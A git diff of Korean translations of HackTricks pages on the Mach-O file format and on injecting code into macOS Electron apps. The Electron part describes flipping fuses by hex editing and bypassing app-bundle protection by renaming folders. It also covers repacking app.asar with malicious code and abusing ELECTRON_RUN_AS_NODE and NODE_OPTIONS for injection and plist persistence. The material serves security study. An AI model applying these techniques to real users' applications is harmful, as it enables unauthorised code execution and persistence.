헤더에는 **매직** 바이트가 있고 파일이 포함하는 **아키텍처의 수**(`nfat_arch`)를 나타내는 **숫자**가 뒤따르며 각 아키텍처는 `fat_arch` 구조체를 가집니다.
|
||||
헤더에는 **매직** 바이트가 있고 파일이 **포함하는** **archs**의 **수**(`nfat_arch`)가 뒤따르며 각 아키텍처에는 `fat_arch` 구조체가 있습니다.
|
||||
|
||||
다음 명령어로 확인할 수 있습니다:
|
||||
다음 명령을 사용하여 확인합니다:
|
||||
|
||||
<pre class="language-shell-session"><code class="lang-shell-session">% file /bin/ls
|
||||
/bin/ls: Mach-O universal binary with 2 architectures: [x86_64:Mach-O 64-bit executable x86_64] [arm64e:Mach-O 64-bit executable arm64e]
|
||||
|
@ -80,11 +80,11 @@ capabilities PTR_AUTH_VERSION USERSPACE 0
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (5) (1) (1) (3) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
일반적으로 2개의 아키텍처를 위해 컴파일된 universal binary는 1개의 아키텍처를 위해 컴파일된 것의 **크기를 두 배로** 증가시킵니다.
|
||||
일반적으로 2개 아키텍처용으로 컴파일된 universal binary는 1개 아키텍처용으로 컴파일된 것보다 **크기가 두 배**입니다.
|
||||
|
||||
## **Mach-O Header**
|
||||
|
||||
헤더에는 Mach-O 파일로 식별하기 위한 매직 바이트와 대상 아키텍처에 대한 정보와 같은 파일에 대한 기본 정보가 포함됩니다. 다음 위치에서 찾을 수 있습니다: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
헤더에는 Mach-O 파일로 식별하는 매직 바이트와 대상 아키텍처에 대한 정보와 같은 파일에 대한 기본 정보가 포함됩니다. 다음 위치에서 찾을 수 있습니다: `mdfind loader.h | grep -i mach-o | grep -E "loader.h$"`
|
||||
```c
|
||||
#define MH_MAGIC 0xfeedface /* the mach magic number */
|
||||
#define MH_CIGAM 0xcefaedfe /* NXSwapInt(MH_MAGIC) */
|
||||
|
@ -129,7 +129,7 @@ MH_MAGIC_64 ARM64 E USR00 EXECUTE 19 1728 NOUNDEFS DY
|
|||
|
||||
## **Mach-O 로드 명령**
|
||||
|
||||
**메모리에 파일의 레이아웃**이 여기에 지정되어 있으며, **심볼 테이블의 위치**, 실행 시작 시 주 스레드의 컨텍스트 및 필요한 **공유 라이브러리**에 대한 세부 정보가 제공됩니다. 이는 메모리로의 이진 파일 로딩 과정에 대한 동적 로더 **(dyld)**에게 지침을 제공합니다.
|
||||
**메모리 내 파일의 레이아웃**이 여기에 지정되어 있으며, **심볼 테이블의 위치**, 실행 시작 시 주 스레드의 컨텍스트 및 필요한 **공유 라이브러리**에 대한 세부 정보가 포함되어 있습니다. 메모리로의 이진 파일 로딩 프로세스에 대한 동적 로더 **(dyld)**에게 명령이 제공됩니다.
|
||||
|
||||
이는 **`loader.h`**에 정의된 **load\_command** 구조를 사용합니다:
|
||||
```objectivec
|
||||
|
@ -143,20 +143,20 @@ uint32_t cmdsize; /* total size of command in bytes */
|
|||
### **LC\_SEGMENT/LC\_SEGMENT\_64**
|
||||
|
||||
{% hint style="success" %}
|
||||
기본적으로, 이 유형의 로드 명령어는 **바이너리가 실행될 때 데이터 섹션에 표시된 오프셋에 따라 \_\_TEXT** (실행 코드) **및 \_\_DATA** (프로세스용 데이터) **세그먼트를 로드하는 방법을 정의**합니다.
|
||||
기본적으로, 이 유형의 로드 명령어는 **바이너리가 실행될 때 데이터 섹션에 표시된 오프셋에 따라 \_\_TEXT** (실행 코드) **및 \_\_DATA** (프로세스용 데이터) **세그먼트를 어떻게 로드할지 정의**합니다.
|
||||
{% endhint %}
|
||||
|
||||
이러한 명령어는 프로세스가 실행될 때 **가상 메모리 공간에 매핑되는 세그먼트를 정의**합니다.
|
||||
이러한 명령어는 프로세스의 **가상 메모리 공간에 매핑되는 세그먼트를 정의**합니다.
|
||||
|
||||
**\_\_TEXT** 세그먼트는 프로그램의 실행 코드를 보유하고, **\_\_DATA** 세그먼트는 프로세스에서 사용되는 데이터를 포함합니다. 이러한 **세그먼트는 Mach-O 파일의 데이터 섹션에 위치**합니다.
|
||||
**\_\_TEXT** 세그먼트는 프로그램의 실행 코드를 보유하며, **\_\_DATA** 세그먼트는 프로세스에서 사용되는 데이터를 포함합니다. 이러한 **세그먼트는 Mach-O 파일의 데이터 섹션에 위치**합니다.
|
||||
|
||||
**각 세그먼트**는 더 세부적으로 **여러 섹션으로 나뉠** 수 있습니다. **로드 명령어 구조**에는 **해당 세그먼트 내의 섹션에 대한 정보**가 포함되어 있습니다.
|
||||
**각 세그먼트**는 더 세부적으로 **여러 섹션으로 나뉠** 수 있습니다. **로드 명령어 구조**에는 해당 세그먼트 내의 **이러한 섹션에 대한 정보**가 포함되어 있습니다.
|
||||
|
||||
헤더에서 먼저 **세그먼트 헤더**를 찾을 수 있습니다:
|
||||
|
||||
<pre class="language-c"><code class="lang-c">struct segment_command_64 { /* 64비트 아키텍처용 */
|
||||
uint32_t cmd; /* LC_SEGMENT_64 */
|
||||
uint32_t cmdsize; /* section_64 구조체의 크기 포함 */
|
||||
uint32_t cmdsize; /* section_64 구조체의 크기를 포함 */
|
||||
char segname[16]; /* 세그먼트 이름 */
|
||||
uint64_t vmaddr; /* 이 세그먼트의 메모리 주소 */
|
||||
uint64_t vmsize; /* 이 세그먼트의 메모리 크기 */
|
||||
|
@ -194,38 +194,38 @@ uint32_t reserved3; /* reserved */
|
|||
|
||||
<figure><img src="../../../.gitbook/assets/image (6) (2).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
만약 **섹션 오프셋** (0x37DC)에 **아키텍처 시작 오프셋**을 **더한다면**, 이 경우 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
만약 **섹션 오프셋** (0x37DC)을 **추가**하고 **아키텍처 시작 오프셋**을 더한다면, 이 경우 `0x18000` --> `0x37DC + 0x18000 = 0x1B7DC`
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**커맨드 라인**에서도 **헤더 정보**를 얻는 것이 가능합니다:
|
||||
또한 **커맨드 라인**에서 **헤더 정보**를 얻는 것도 가능합니다:
|
||||
```bash
|
||||
otool -lv /bin/ls
|
||||
```
|
||||
다음은이 cmd에 의해로드되는 일반 세그먼트입니다:
|
||||
|
||||
- **`__PAGEZERO`:** 커널에 **주소 제로를 매핑**하도록 지시하여 **읽을 수 없고 쓸 수 없고 실행할 수 없게**합니다. 구조체의 maxprot 및 minprot 변수는 **이 페이지에 읽기-쓰기-실행 권한이 없음**을 나타내기 위해 0으로 설정됩니다.
|
||||
- 이 할당은 **NULL 포인터 역참조 취약점을 완화**하는 데 중요합니다.
|
||||
- **`__TEXT`**: **읽기** 및 **실행** 권한을 가진 **실행 가능한 코드**를 포함합니다(쓰기 권한 없음)**.** 이 세그먼트의 일반 섹션:
|
||||
- `__text`: 컴파일된 이진 코드
|
||||
- `__const`: 상수 데이터
|
||||
- `__cstring`: 문자열 상수
|
||||
- `__stubs` 및 `__stubs_helper`: 동적 라이브러리 로딩 프로세스 중에 관련됨
|
||||
- **`__DATA`**: **읽기** 및 **쓰기** 가능한 데이터를 포함합니다(실행할 수 없음)**.**
|
||||
- `__data`: 초기화된 전역 변수
|
||||
- `__bss`: 초기화되지 않은 정적 변수
|
||||
- `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist 등): Objective-C 런타임에서 사용되는 정보
|
||||
- **`__LINKEDIT`**: 링커(dyld)를 위한 정보를 포함하며, "심볼, 문자열 및 재배치 테이블 항목"을 포함합니다.
|
||||
- **`__OBJC`**: Objective-C 런타임에서 사용되는 정보를 포함합니다. 이 정보는 \_\_DATA 세그먼트 내의 다양한 \_\_objc\_\* 섹션에서도 찾을 수 있습니다.
|
||||
* **`__PAGEZERO`:** 커널에 **주소 0을 매핑**하도록 지시하여 **읽거나 쓰거나 실행할 수 없습니다**. 구조체의 maxprot 및 minprot 변수는 **이 페이지에 읽기-쓰기-실행 권한이 없음**을 나타내기 위해 0으로 설정됩니다.
|
||||
* 이 할당은 **NULL 포인터 역참조 취약점을 완화하는 데 중요**합니다.
|
||||
* **`__TEXT`**: **읽기** 및 **실행** 권한을 가진 **실행 가능한 코드**를 포함합니다(쓰기 권한 없음)**.** 이 세그먼트의 일반 섹션:
|
||||
* `__text`: 컴파일된 이진 코드
|
||||
* `__const`: 상수 데이터
|
||||
* `__cstring`: 문자열 상수
|
||||
* `__stubs` 및 `__stubs_helper`: 동적 라이브러리 로딩 프로세스 중에 관련됨
|
||||
* **`__DATA`**: **읽기** 및 **쓰기** 가능한 데이터를 포함합니다(실행 불가능)**.**
|
||||
* `__data`: 초기화된 전역 변수
|
||||
* `__bss`: 초기화되지 않은 정적 변수
|
||||
* `__objc_*` (\_\_objc\_classlist, \_\_objc\_protolist 등): Objective-C 런타임에서 사용되는 정보
|
||||
* **`__LINKEDIT`**: 링커(dyld)를 위한 정보를 포함하며, "심볼, 문자열 및 재배치 테이블 항목"을 포함합니다.
|
||||
* **`__OBJC`**: Objective-C 런타임에서 사용되는 정보를 포함합니다. 그러나 이 정보는 때때로 \_\_DATA 세그먼트 내의 다양한 \_\_objc\_\* 섹션에서도 찾을 수 있습니다.
|
||||
|
||||
### **`LC_MAIN`**
|
||||
|
||||
**entryoff 속성**에 진입점을 포함합니다. 로드 시, **dyld**는 단순히 **이 값을 (메모리 내) 이진 파일의 베이스에 추가**하고, 그런 다음 **이 명령어로 이동**하여 이진 파일의 코드 실행을 시작합니다.
|
||||
**entryoff 속성**에 진입점을 포함합니다. 로드 시, **dyld**는 단순히 이 값을 (메모리 내) **바이너리의 베이스에 추가**하고, 그런 다음 이 명령으로 이동하여 바이너리 코드의 실행을 시작합니다.
|
||||
|
||||
### **LC\_CODE\_SIGNATURE**
|
||||
|
||||
Macho-O 파일의 **코드 서명에 대한 정보**를 포함합니다. 이것은 일반적으로 파일의 매우 끝에 있는 **서명 블롭을 가리키는 오프셋**만을 포함합니다.\
|
||||
그러나 [**이 블로그 게시물**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) 및 이 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)에서이 섹션에 대한 일부 정보를 찾을 수 있습니다.
|
||||
Macho-O 파일의 **코드 서명에 대한 정보**를 포함합니다. 이는 일반적으로 파일의 매우 끝에 있는 **서명 블롭을 가리키는 오프셋**만을 포함합니다.\
|
||||
그러나 [**이 블로그 게시물**](https://davedelong.com/blog/2018/01/10/reading-your-own-entitlements/) 및 이 [**gists**](https://gist.github.com/carlospolop/ef26f8eb9fafd4bc22e69e1a32b81da4)에서 이 섹션에 대한 일부 정보를 찾을 수 있습니다.
|
||||
|
||||
### **LC\_LOAD\_DYLINKER**
|
||||
|
||||
|
@ -233,9 +233,9 @@ Macho-O 파일의 **코드 서명에 대한 정보**를 포함합니다. 이것
|
|||
|
||||
### **`LC_LOAD_DYLIB`**
|
||||
|
||||
이 로드 명령어는 **로더**(dyld)에게 **해당 라이브러리를 로드하고 링크하도록 지시하는 동적 라이브러리** 종속성을 설명합니다. Mach-O 이진 파일이 필요로 하는 각 라이브러리에 대해 LC\_LOAD\_DYLIB 로드 명령어가 있습니다.
|
||||
이 로드 명령은 **로더**(dyld)에게 **해당 라이브러리를 로드하고 링크하도록 지시하는** **동적 라이브러리** 종속성을 설명합니다. Mach-O 바이너리가 필요로 하는 각 라이브러리에 대해 LC\_LOAD\_DYLIB 로드 명령이 있습니다.
|
||||
|
||||
- 이 로드 명령어는 실제 종속 동적 라이브러리를 설명하는 **struct dylib을 포함하는 dylib_command 유형의 구조체**입니다.
|
||||
* 이 로드 명령은 실제 종속 동적 라이브러리를 설명하는 **`dylib` 구조체를 포함하는** **`dylib_command`** 유형의 구조체입니다:
|
||||
```objectivec
|
||||
struct dylib_command {
|
||||
uint32_t cmd; /* LC_LOAD_{,WEAK_}DYLIB */
|
||||
|
@ -252,7 +252,7 @@ uint32_t compatibility_version; /* library's compatibility vers number*/
|
|||
```
|
||||
![](<../../../.gitbook/assets/image (558).png>)
|
||||
|
||||
당신은 또한 다음 명령어를 사용하여 이 정보를 CLI에서 얻을 수 있습니다:
|
||||
이 정보를 CLI에서도 얻을 수 있습니다:
|
||||
```bash
|
||||
otool -L /bin/ls
|
||||
/bin/ls:
|
||||
|
@ -260,20 +260,20 @@ otool -L /bin/ls
|
|||
/usr/lib/libncurses.5.4.dylib (compatibility version 5.4.0, current version 5.4.0)
|
||||
/usr/lib/libSystem.B.dylib (compatibility version 1.0.0, current version 1319.0.0)
|
||||
```
|
||||
잠재적인 악성 코드 관련 라이브러리는 다음과 같습니다:
|
||||
잠재적인 악성 코드 관련 라이브러리 몇 가지는 다음과 같습니다:
|
||||
|
||||
* **DiskArbitration**: USB 드라이브 모니터링
|
||||
* **AVFoundation:** 오디오 및 비디오 캡처
|
||||
* **CoreWLAN**: Wifi 스캔
|
||||
- **DiskArbitration**: USB 드라이브 모니터링
|
||||
- **AVFoundation**: 오디오 및 비디오 캡처
|
||||
- **CoreWLAN**: Wifi 스캔
|
||||
|
||||
{% hint style="info" %}
|
||||
Mach-O 이진 파일에는 **하나 이상의 생성자**가 포함될 수 있으며, 이는 **LC\_MAIN**에서 지정된 주소 **앞에서 실행**됩니다.\
|
||||
Mach-O 바이너리에는 **하나 이상의 생성자**가 포함될 수 있으며, 이는 **LC\_MAIN**에서 지정된 주소 **앞에서 실행**됩니다.\
|
||||
어떤 생성자의 오프셋은 **\_\_DATA\_CONST** 세그먼트의 **\_\_mod\_init\_func** 섹션에 저장됩니다.
|
||||
{% endhint %}
|
||||
|
||||
## **Mach-O 데이터**
|
||||
|
||||
파일의 핵심에는 로드 명령 영역에서 정의된 여러 세그먼트로 구성된 데이터 영역이 있습니다. **각 세그먼트 내에는 다양한 데이터 섹션이 포함**될 수 있으며, 각 섹션은 **특정 유형의 코드 또는 데이터**를 보유합니다.
|
||||
파일의 핵심에는 로드 명령 영역에서 정의된 여러 세그먼트로 구성된 데이터 영역이 있습니다. **각 세그먼트 내에는 다양한 데이터 섹션이 포함**될 수 있으며, 각 섹션은 **특정 유형에 대한 코드 또는 데이터**를 보유합니다.
|
||||
|
||||
{% hint style="success" %}
|
||||
데이터는 기본적으로 로드 명령 **LC\_SEGMENTS\_64**에 의해 로드되는 모든 **정보**를 포함하는 부분입니다.
|
||||
|
@ -283,9 +283,9 @@ Mach-O 이진 파일에는 **하나 이상의 생성자**가 포함될 수 있
|
|||
|
||||
이에는 다음이 포함됩니다:
|
||||
|
||||
* **함수 테이블:** 프로그램 함수에 대한 정보를 보유
|
||||
* **심볼 테이블**: 이진 파일에서 사용되는 외부 함수에 대한 정보를 포함
|
||||
* 내부 함수, 변수 이름 등도 포함될 수 있습니다.
|
||||
- **함수 테이블**: 프로그램 함수에 대한 정보를 보유
|
||||
- **심볼 테이블**: 바이너리에서 사용되는 외부 함수에 대한 정보를 포함
|
||||
- 내부 함수, 변수 이름 등도 포함될 수 있습니다.
|
||||
|
||||
확인하려면 [**Mach-O View**](https://sourceforge.net/projects/machoview/) 도구를 사용할 수 있습니다:
|
||||
|
||||
|
@ -297,14 +297,14 @@ size -m /bin/ls
|
|||
```
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team 전문가)로부터 AWS 해킹을 제로부터 전문가까지 배우세요</strong></summary>
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>에서 <strong>제로부터 영웅까지 AWS 해킹 배우기</strong></summary>
|
||||
|
||||
다른 방법으로 HackTricks를 지원하는 방법:
|
||||
|
||||
* **회사가 HackTricks에서 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **해킹 트릭을 공유하고 싶다면** [**HackTricks**](https://github.com/carlospolop/hacktricks) 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 저장소에 PR을 제출하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,11 +6,11 @@
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
- **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하고 싶다면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
- [**공식 PEASS & HackTricks 굿즈**](https://peass.creator-spring.com)를 구매하세요
|
||||
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
- 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
- **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 요령을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -21,21 +21,21 @@ Electron이 무엇인지 모르는 경우 [**여기에서 많은 정보를 찾
|
|||
|
||||
### Electron Fuses
|
||||
|
||||
이러한 기술은 다음에 설명될 것이지만, 최근 Electron은 이를 **방지하는 여러 보안 플래그**를 추가했습니다. 이러한 것들이 **Electron Fuses**이며, macOS의 Electron 앱에서 **임의의 코드 로딩을 방지**하는 데 사용되는 것들입니다:
|
||||
이러한 기술은 다음에 설명될 것이지만, 최근 Electron은 이를 **방지하는 여러 보안 플래그를 추가**했습니다. 이러한 것들이 **Electron Fuses**이며, macOS의 Electron 앱에서 **임의의 코드 로딩을 방지**하는 데 사용되는 것들입니다:
|
||||
|
||||
* **`RunAsNode`**: 비활성화되면 env var **`ELECTRON_RUN_AS_NODE`** 사용을 방지하여 코드를 주입하는 것을 방지합니다.
|
||||
* **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 존중되지 않습니다. 이를 통해 코드 주입을 방지합니다.
|
||||
* **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 코드 주입을 방지합니다.
|
||||
* **`OnlyLoadAppFromAsar`**: 이 기능이 활성화되면 **`app.asar`**, **`app`**, 마지막으로 **`default_app.asar`** 순서로 로드를 검색하는 대신 app.asar만 확인하고 사용합니다. 따라서 **`embeddedAsarIntegrityValidation`** 퓨즈와 결합되었을 때 **검증되지 않은 코드를 로드하는 것이 불가능**하도록 보장합니다.
|
||||
* **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스가 V8 스냅샷을 위해 `browser_v8_context_snapshot.bin`이라는 파일을 사용합니다.
|
||||
- **`RunAsNode`**: 비활성화되면 env var **`ELECTRON_RUN_AS_NODE`** 사용을 방지하여 코드를 주입하는 것을 방지합니다.
|
||||
- **`EnableNodeCliInspectArguments`**: 비활성화되면 `--inspect`, `--inspect-brk`와 같은 매개변수가 존중되지 않습니다. 이를 통해 코드 주입을 방지합니다.
|
||||
- **`EnableEmbeddedAsarIntegrityValidation`**: 활성화되면 로드된 **`asar`** **파일**이 macOS에 의해 **검증**됩니다. 이 파일의 내용을 수정하여 코드 주입을 방지합니다.
|
||||
- **`OnlyLoadAppFromAsar`**: 이 기능이 활성화되면 **`app.asar`**, **`app`**, 마지막으로 **`default_app.asar`** 순서로 로드를 검색하는 대신 app.asar만 확인하고 사용합니다. 따라서 **`embeddedAsarIntegrityValidation`** 퓨즈와 결합되었을 때 **검증되지 않은 코드를 로드하는 것이 불가능**하도록 보장합니다.
|
||||
- **`LoadBrowserProcessSpecificV8Snapshot`**: 활성화되면 브라우저 프로세스가 V8 스냅샷을 위해 `browser_v8_context_snapshot.bin`이라는 파일을 사용합니다.
|
||||
|
||||
코드 주입을 방지하지 않는 다른 흥미로운 퓨즈:
|
||||
|
||||
* **EnableCookieEncryption**: 활성화되면 디스크에 저장된 쿠키 저장소가 OS 수준의 암호화 키를 사용하여 암호화됩니다.
|
||||
- **EnableCookieEncryption**: 활성화되면 디스크에 저장된 쿠키 저장소가 OS 수준의 암호화 키를 사용하여 암호화됩니다.
|
||||
|
||||
### Electron Fuses 확인
|
||||
|
||||
응용 프로그램에서 **이러한 플래그를 확인**할 수 있습니다:
|
||||
응용 프로그램에서 다음을 사용하여 **이러한 플래그를 확인**할 수 있습니다:
|
||||
```bash
|
||||
npx @electron/fuses read --app /Applications/Slack.app
|
||||
|
||||
|
@ -51,37 +51,37 @@ LoadBrowserProcessSpecificV8Snapshot is Disabled
|
|||
```
|
||||
### Electron 퓨즈 수정
|
||||
|
||||
[**문서에서 언급한 것**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)대로, **Electron 퓨즈**의 구성은 **Electron 이진 파일** 내부에 구성되어 있으며 이 파일에는 어딘가에 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** 문자열이 포함되어 있습니다.
|
||||
[**문서에서 언급한 것**](https://www.electronjs.org/docs/latest/tutorial/fuses#runasnode)대로, **Electron 퓨즈**의 구성은 **Electron 이진 파일** 내부에 구성되어 있으며, 이 이진 파일에는 어딘가에 **`dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX`** 문자열이 포함되어 있습니다.
|
||||
|
||||
macOS 애플리케이션에서 이는 일반적으로 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`에 위치합니다.
|
||||
macOS 애플리케이션에서는 일반적으로 `application.app/Contents/Frameworks/Electron Framework.framework/Electron Framework`에 위치합니다.
|
||||
```bash
|
||||
grep -R "dL7pKGdnNz796PbbjQWNKmHXBZaB9tsX" Slack.app/
|
||||
Binary file Slack.app//Contents/Frameworks/Electron Framework.framework/Versions/A/Electron Framework matches
|
||||
```
|
||||
[https://hexed.it/](https://hexed.it/)에서 이 파일을 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에 ASCII로 "0" 또는 "1"이 표시되어 각 퓨즈가 비활성화되었는지 활성화되었는지 나타납니다. 단순히 헥스 코드를 수정하여 퓨즈 값을 **수정**할 수 있습니다.
|
||||
[https://hexed.it/](https://hexed.it/)에서 이 파일을 로드하고 이전 문자열을 검색할 수 있습니다. 이 문자열 뒤에 ASCII로 "0" 또는 "1"이 표시되어 각 퓨즈가 비활성화되었는지 활성화되었는지 나타납니다. 단순히 헥스 코드를 수정하여 퓨즈 값을 수정할 수 있습니다 (`0x30`은 `0`이고 `0x31`은 `1`임).
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (2) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Electron Applications**에 코드를 추가하여 RCE
|
||||
|
||||
일렉트론 앱이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 삽입하여 서명이 확인되지 않는 코드를 실행하고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
**Electron App**이 사용하는 **외부 JS/HTML 파일**이 있을 수 있으므로 공격자는 이러한 파일에 코드를 삽입하여 서명이 확인되지 않는 코드를 실행하고 앱의 컨텍스트에서 임의의 코드를 실행할 수 있습니다.
|
||||
|
||||
{% hint style="danger" %}
|
||||
그러나 현재 2가지 제한 사항이 있습니다:
|
||||
|
||||
* 앱을 수정하려면 **`kTCCServiceSystemPolicyAppBundles`** 권한이 **필요**하므로 기본적으로 더 이상 불가능합니다.
|
||||
* 컴파일된 **`asap`** 파일에는 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** 및 **`onlyLoadAppFromAsar`**가 `활성화`되어 있습니다.
|
||||
* **`kTCCServiceSystemPolicyAppBundles`** 권한이 필요하여 앱을 수정할 수 없습니다. 기본적으로 더 이상 불가능합니다.
|
||||
* 컴파일된 **`asap`** 파일에는 일반적으로 퓨즈 **`embeddedAsarIntegrityValidation`** 및 **`onlyLoadAppFromAsar`**가 활성화되어 있습니다.
|
||||
|
||||
이 공격 경로를 더 복잡하게 만들거나 불가능하게 만듭니다.
|
||||
{% endhint %}
|
||||
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하며, 이를 위해 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고, 폴더 이름을 **`app.app/Contents`**에서 **`app.app/NotCon`**으로 변경하고, **악의적인** 코드로 **asar** 파일을 수정한 다음 다시 **`app.app/Contents`**로 이름을 변경하고 실행할 수 있습니다.
|
||||
**`kTCCServiceSystemPolicyAppBundles`** 요구 사항을 우회하는 것이 가능하며, 애플리케이션을 다른 디렉토리(예: **`/tmp`**)로 복사하고 폴더 이름을 **`app.app/Contents`**에서 **`app.app/NotCon`**으로 변경한 다음, **악의적인** 코드로 **asar** 파일을 수정하고 다시 **`app.app/Contents`**로 이름을 변경한 후 실행할 수 있습니다.
|
||||
|
||||
asar 파일에서 코드를 추출할 수 있습니다.
|
||||
**asar** 파일에서 코드를 해제할 수 있습니다.
|
||||
```bash
|
||||
npx asar extract app.asar app-decomp
|
||||
```
|
||||
그리고 수정한 후에 다음과 같이 다시 압축하세요:
|
||||
그리고 수정한 후에 다시 패킹하세요:
|
||||
```bash
|
||||
npx asar pack app-decomp app-new.asar
|
||||
```
|
||||
|
@ -99,12 +99,12 @@ require('child_process').execSync('/System/Applications/Calculator.app/Contents/
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 fuse **`RunAsNode`**가 비활성화되어 있다면 env var **`ELECTRON_RUN_AS_NODE`**은 무시되며, 이 작업은 작동하지 않습니다.
|
||||
만약 fuse **`RunAsNode`**가 비활성화되면 env var **`ELECTRON_RUN_AS_NODE`**가 무시되어 작동하지 않을 것입니다.
|
||||
{% endhint %}
|
||||
|
||||
### 앱 Plist로부터의 Injection
|
||||
|
||||
[**여기에서 제안된**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)대로, 이 env 변수를 plist에서 남아 있는 상태로 남겨두기 위해 남용할 수 있습니다:
|
||||
[**여기에서 제안된 것**](https://www.trustedsec.com/blog/macos-injection-via-third-party-frameworks/)과 같이, 이 env 변수를 plist에 남아 있는 상태로 유지하기 위해 남용할 수 있습니다:
|
||||
```xml
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
<!DOCTYPE plist PUBLIC "-//Apple//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
|
||||
|
@ -143,14 +143,14 @@ NODE_OPTIONS="--require /tmp/payload.js" ELECTRON_RUN_AS_NODE=1 /Applications/Di
|
|||
{% endcode %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
만약 fuse **`EnableNodeOptionsEnvironmentVariable`**이 **비활성화**되어 있다면, 앱은 **NODE\_OPTIONS** 환경 변수를 **무시**하게 됩니다. 이는 환경 변수 **`ELECTRON_RUN_AS_NODE`**이 설정되어 있어도 **무시**될 것입니다. 이때 fuse **`RunAsNode`**가 비활성화되어 있다면 더욱 그렇습니다.
|
||||
